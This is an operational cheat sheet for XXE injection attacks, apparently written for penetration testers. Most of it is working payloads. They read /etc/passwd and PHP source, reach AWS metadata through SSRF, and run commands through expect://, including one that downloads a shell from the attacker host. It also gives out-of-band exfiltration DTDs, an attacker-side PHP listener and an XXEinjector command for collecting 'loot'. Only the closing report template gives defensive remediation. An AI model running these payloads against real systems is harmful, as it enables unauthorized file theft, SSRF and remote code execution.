πŸ›‘οΈ Methodology Checklist

  • Identify XML input (SOAP, REST with XML body, file upload parsing XML)
  • Test basic XXE: <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
  • Read internal file via XXE entity
  • SSRF via XXE: <!ENTITY xxe SYSTEM "http://[INTERNAL_HOST]/">
  • OOB exfil (blind XXE): DNS callback SYSTEM "http://[BURP_COLLAB]/?data=%26xxe;"
  • Error-based XXE for blind exfil
  • DoS test (Billion Laughs) β€” only in isolated test environments
  • Document XML injection point and data exposed

🎯 Operational Context

Use when: Application processes XML input β€” inject external entity references to read local files, perform SSRF, or achieve RCE via PHP expect. Think Dumber First: Add DOCTYPE with external entity to any XML body. If you get a response with file contents, it’s vulnerable. <!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><foo>&xxe;</foo> is the baseline test payload. Skip when: Application uses JSON β€” XXE only affects XML parsers; check if endpoint accepts XML via Content-Type switching before assuming it doesn’t.


⚑ Tactical Cheatsheet

CommandTactical Outcome
<?xml version="1.0"?><!DOCTYPE email [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root><email>&xxe;</email></root>Basic XXE LFI β€” read local file via reflected field
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">PHP source disclosure via filter (avoids XML-breaking chars)
<!ENTITY xxe SYSTEM "expect://id">RCE via expect:// (requires PHP expect module)
<!ENTITY xxe SYSTEM "http://[LHOST]/">SSRF β€” server initiates outbound HTTP to attacker
echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd && python3 -m http.server 80Host CDATA external DTD for non-PHP source extraction
php -S 0.0.0.0:[LPORT]Start PHP listener to catch OOB exfiltration callbacks
ruby XXEinjector.rb --host=[LHOST] --httpport=[LPORT] --file=req.txt --path=/etc/passwd --oob=http --phpfilterAutomated OOB XXE exfiltration
cat Logs/[TARGET_IP]/etc/passwd.logRead XXEinjector exfiltrated loot
echo "[B64]" | base64 -dDecode base64 PHP source or OOB exfiltrated data

πŸ”¬ Deep Dive & Workflow

Attack Decision Tree

Application reflects XML field in response?
β”œβ”€β”€ Yes β†’ Standard LFI:
β”‚          <!ENTITY xxe SYSTEM "file:///etc/passwd">
β”‚          Reference: &xxe; in reflected field
β”‚
β”œβ”€β”€ File contains XML-breaking chars (PHP source)?
β”‚   β”œβ”€β”€ PHP target β†’ php://filter/convert.base64-encode/resource=file.php
β”‚   └── Non-PHP β†’ CDATA bypass via external DTD (below)
β”‚
β”œβ”€β”€ App shows verbose errors but no output?
β”‚   └── Error-based XXE: host xxe.dtd with %nonExistingEntity;/%file; trap
β”‚
└── Completely blind (no output, no errors)?
    └── OOB HTTP exfiltration via external DTD + php://filter base64

Basic Payload Template

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
    <name>test</name>
    <email>&xxe;</email>
</root>

Finding the reflected field: Test with <!ENTITY test "hello"> β€” whichever field shows β€œhello” in the response is your exfil channel.

PHP Source Disclosure (Base64 Bypass)

<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">

Copy base64 from response β†’ echo "PD9waHAK..." | base64 -d β†’ PHP source reveals DB creds. Critical: Use Ctrl+U (raw source) to copy β€” browser truncates long base64.

CDATA Bypass (Non-PHP Targets)

# 1. Create external DTD on attacker machine
echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
python3 -m http.server 80
 
# 2. Payload references external DTD
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA["> 
  <!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php"> 
  <!ENTITY % end "]]>"> 
  <!ENTITY % xxe SYSTEM "http://[LHOST]/xxe.dtd"> 
  %xxe;
]>
<root><email>&joined;</email></root>

Error-Based XXE (Semi-Blind)

cat > xxe.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
EOF
python3 -m http.server 80
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://[LHOST]/xxe.dtd">
  %remote;
  %error;
]>
<root><email>test@test.com</email></root>

Server tries to resolve invalid path containing file contents β†’ dumps file in error message.

Blind OOB Exfiltration (Fully Blind)

<!-- index.php on attacker machine -->
<?php
if(isset($_GET['content'])){
    error_log("\n\n" . base64_decode($_GET['content']));
}
?>
<!-- xxe.dtd on attacker machine -->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://[LHOST]:[LPORT]/?content=%file;'>">
<!-- Trigger payload -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://[LHOST]:[LPORT]/xxe.dtd">
  %remote;
  %oob;
]>
<root>&content;</root>

JSON β†’ XML Smuggling

If app expects JSON: change Content-Type: application/json β†’ application/xml, convert payload to XML, test for XXE.

Key Pitfalls

IssueFix
File has < or & β†’ parser crashUse php://filter base64 or CDATA method
OOB payload gets no hitsTry ports 80, 443, 53 β€” egress may be filtered
Error-based truncates fileOnly works for short files; use OOB for large ones
expect:// spaces crash parserUse $IFS: expect://curl$IFS-O$IFS'[LHOST]/shell.php'
Parameter entity % in body% entities only valid inside <!DOCTYPE> block

πŸ› οΈ Troubleshooting & Edge Cases

ProblemCauseFix
XXE response emptyBlind XXEUse OOB: <!ENTITY xxe SYSTEM 'http://[LHOST]/?x='>; check Burp Collaborator for DNS/HTTP requests
DOCTYPE strippedServer-side XML schema validationTry parameter entity: <!DOCTYPE foo [<!ENTITY % xxe SYSTEM 'http://[LHOST]/evil.dtd'> %xxe;]>
File read returns empty for /etc/shadowInsufficient app permissionsTry: /etc/passwd, /proc/self/environ, application config files instead
JSON endpoint β€” XXE not applicableJSON parser, not XMLSwitch Content-Type: application/xml; some APIs accept both; test XML payload
SSRF via XXE blockedInternal network not accessibleTry localhost services: http://127.0.0.1:8080/, http://169.254.169.254/ (AWS metadata)

πŸ“ Reporting Trigger

Finding Title: XML External Entity Injection Enables Local File Read Impact: XXE vulnerability allows reading arbitrary server files by injecting external entity references into XML payloads, exposing credentials, private keys, and sensitive configuration files accessible to the application process. Root Cause: XML parser configured to process external entity declarations. User-controlled XML processed without disabling external entity resolution. Recommendation: Disable external entity processing in XML parser configuration (set FEATURE_EXTERNAL_GENERAL_ENTITIES to false). Use JSON instead of XML where possible. Validate and sanitize XML input. Deploy WAF rules for XXE patterns.